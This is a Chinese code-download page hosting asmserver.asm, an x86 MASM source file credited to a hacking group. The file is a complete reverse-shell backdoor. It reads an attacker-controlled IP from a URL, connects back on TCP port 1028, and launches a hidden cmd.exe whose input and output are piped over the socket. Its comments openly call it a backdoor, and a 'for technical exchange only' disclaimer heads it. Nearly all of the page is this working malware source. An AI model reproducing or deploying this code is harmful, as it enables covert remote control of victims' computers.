⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 asmserver.asm

📁 asmshell
💻 ASM
字号:
;**********************************************************************
;程序编写by Asm Bink
;日期:2007-1-10日
;出处:[url]http://www.wolfexp.net/[/url](红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组([url]http://www.wolfexp.net/[/url])
;注意事项:公布源码仅限技术交流,如果使用引起的损失,由使用者自己全部负责!
;**********************************************************************
.386P
.model   flat,stdcall
option   casemap:none
include   windows.inc
include   user32.inc
include   kernel32.inc
include   wsock32.inc
include   Ws2_32.inc
include		wininet.inc
includelib   user32.lib
includelib   kernel32.lib
includelib   wsock32.lib
includelib   Ws2_32.lib
includelib	wininet.lib
TCP_PORT equ 1028 ;常量定义
.data
szAgentName	db	"ReadFile",0
szUrl   db 'http://                                                   ',0
cmdline db "cmd.exe",0
szIP db 156 dup(0)
.data?
hSocket  SOCKET   ?
.code
ReadInternet	proc
local	@hSession:DWORD
local @hHttpFile:DWORD
local @dwRead:DWORD
		pushad ;保存所有堆栈
		invoke	InternetOpen,addr szAgentName,INTERNET_OPEN_TYPE_PRECONFIG,\
			NULL,NULL,0 ;打开Internet
		.if	eax
		mov	@hSession,eax ;成功的话返回一个句柄
		.endif
		invoke	InternetOpenUrl,@hSession,addr szUrl,NULL,0,\
		INTERNET_FLAG_NO_AUTO_REDIRECT,0 ;打开你输入的网页地址
		.if	eax
		mov	@hHttpFile,eax ;成功的话返回一个句柄
		.endif
		invoke	InternetReadFile,@hHttpFile,addr szIP,sizeof szIP,addr @dwRead ;开始读取你设置的IP保存在szIP
		invoke	InternetCloseHandle,@hHttpFile ;关闭打开的网址句柄
		invoke	InternetCloseHandle,@hSession ;关闭打开的网络句柄
		popad ;恢复所有堆栈
		ret
ReadInternet endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ProcessMain   proc
local   @wsaData:WSADATA
local   @stAddr:sockaddr_in
local   stStartUp:STARTUPINFO
local   stProcInfo:PROCESS_INFORMATION
pushad ;保存所有堆栈
invoke  WSAStartup,202h,addr @wsaData ;初始化WSAStartup库
invoke WSASocket,PF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0 ;加载套接字
mov   hSocket,eax ;保存句柄
mov   @stAddr.sin_family,AF_INET ;设置IP格式
invoke   htons,TCP_PORT ;设置端口
mov   @stAddr.sin_port,ax ;保存
call ReadInternet ;开始从网络读取IP
invoke inet_addr,addr szIP ;把读取到的IP转换
mov  @stAddr.sin_addr,eax ;保存
invoke   connect,hSocket,addr @stAddr,sizeof @stAddr;开始连接,句柄用来支持cmd的转向输出!
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke	GetStartupInfo,addr stStartUp
mov ebx,hSocket ;保存句柄到ebx
mov stStartUp.hStdInput,ebx ;开始个cmd的hStdInput,hStdOutput等赋值
mov stStartUp.hStdOutput,ebx
mov stStartUp.hStdError,ebx
mov stStartUp.dwFlags,101h
mov stStartUp.wShowWindow,SW_HIDE
invoke CreateProcess,NULL,offset cmdline,NULL,NULL,1,0,\
       NULL,NULL,addr stStartUp,addr stProcInfo ;调用函数执行cmd并开始载入hStdInput,hStdOutput等实现cmd转向输出
invoke closesocket,hSocket ;到这里后门没有存在价值了,关闭连接
popad ;恢复所有堆栈
ret
ProcessMain   endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
     call ProcessMain
     invoke ExitProcess,NULL
     end start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -